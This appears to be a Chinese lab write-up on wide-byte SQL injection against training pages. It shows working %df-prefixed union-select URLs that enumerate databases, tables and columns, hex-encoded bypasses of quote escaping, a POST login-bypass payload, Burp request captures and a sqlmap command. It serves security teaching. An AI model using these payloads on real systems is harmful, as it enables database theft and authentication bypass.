SQL注入之 宽字节注入

http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=1

利用原理: 利用数据库 支持的 多字节 编码特性, 将 转义符号 的 编码 ** 与编码** 顺位组合, 使 转义符号 失去原有的意义, 从而达到逃脱的目的。

  1. 这里 多字节 不一定是 双字节 如 (GBK)。 在其他字符集环境下,可能是其他字节, 例如 UTF-8 的三字节
  2. 在最左侧闭合逃脱的时候,可以使用 宽字节 方法逃脱 , 常用的是 %df\, 也可以与其他字符码组合。
  3. 在 sql 语句中, 如果继续使用 %df , 会对 sql 造成误伤(本质上会生成新的字符), 因此在 sql 语句中,可以使用 0x??????16进制 符号代替字符串。

宽字节注入(一)

测试 魔术引号

1
http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=1%27%22)

通过截图发现, ' " 引号都有被魔术引号 转义。 但括号 并没有。

因此在处理这几部分的时候, 需要额外注意。

判断显示点

1
2
# 查询显示点
http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=1%df' and 1=2 union select 1,2,3 -- gg

通过结果判断, 显示点在 2 和 3 。

查询数据库

1
http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=1%df' and 1=2 union select 1,2,database() -- gg

库名为 wildchar

查询表

1
http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=1%df' and 1=2 union select 1,999,(  select group_concat(table_name) from information_schema.tables where table_schema=database()  ) -- gg

通过结果可以确认, 2张表,分别是

china_flag,user

查询列

1
http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=1%df' and 1=2 union select 1,999,(  select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='china_flag' ) -- gg

注意: 在查询表明的时候,同样出现了 魔术引号 转义 单引号。

1
http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=1%df' and 1=2 union select 1,999,(  select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=%df'china_flag%df' ) -- gg

如果直接使用 %df' 的方法, 就会在 sql 查询中出现 异常字符。导致 SQL 失败。 因此, 这里应该选择不出现 引号,括号 的方法。

这里使用 16进制 绕过 http://ctf.ssleye.com/hex.html

  • 16进制规则, 0x?????
http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=1%df' and 1=2 union select 1,2,( select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x6368696E615F666C6167) -- gg

查询 FLAG

http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=1%df' and 1=2 union select 1,2,( select group_concat(C_Flag) from china_flag ) -- gg

result : zKaQ-Wide,zKaQ-CAIK,zKaQ-Kzj+mz

宽字节注入(二)

http://inject2.lab.aqlab.cn:81/Pass-16/index.php?id=1%df%22)%20--%20gg

从提示可以看出, 此处使用 双引号 闭合, 与上题单引号类似 , 下略。

宽字节注入 (三) POST

http://inject2.lab.aqlab.cn:81/Pass-17/index.php

通过提交,可以看到, 针对 单双引号 开启了转义。

同时使用 burpsuite 抓包, 看到所有符号使用了 urlencode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
POST /Pass-17/index.php HTTP/1.1
Host: inject2.lab.aqlab.cn:81
Content-Length: 54
Cache-Control: max-age=0
Origin: http://inject2.lab.aqlab.cn:81
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://inject2.lab.aqlab.cn:81/Pass-17/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7
Connection: close

username=%27%29&password=%22&submit=%E7%99%BB%E5%BD%95

逃脱转义

1
username=&password=1%df') or 1=1 -- gg

使用 %df' 逃脱后, 成功登录

查找 flag

1
username=&password=1%df') and 1=2 union select 1,2,3 -- gg

使用 union select 1,2,3union select 1,2,3,4 后发现, 此题包含 盲注

这里使用 布尔盲注 测试

使用 burpsuite 进行探测

准备 http 文件, 并设置注入点 username=&password=1%df')*

注意

  1. 这里在注入点附近加上 %df'), 协助 burpsuite 探测更加正确。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
POST /Pass-17/index.php HTTP/1.1
Host: inject2.lab.aqlab.cn:81
Content-Length: 56
Cache-Control: max-age=0
Origin: http://inject2.lab.aqlab.cn:81
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://inject2.lab.aqlab.cn:81/Pass-17/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7
Connection: close

username=&password=1%df')*

当前库

1
./sqlmap.py -r 1.txt --current-db

reuslt : current database: ‘widechar’

表和字段

下略。

0xZZ 为什么?

为什么使用 urlcode , 在 sql 显示正常, 但不能查询。

1
http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=1%df' and 1=2 union select 1,999,(  select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=%26%23%33%39%3bchina_flag%26%23%33%39%3b) -- gg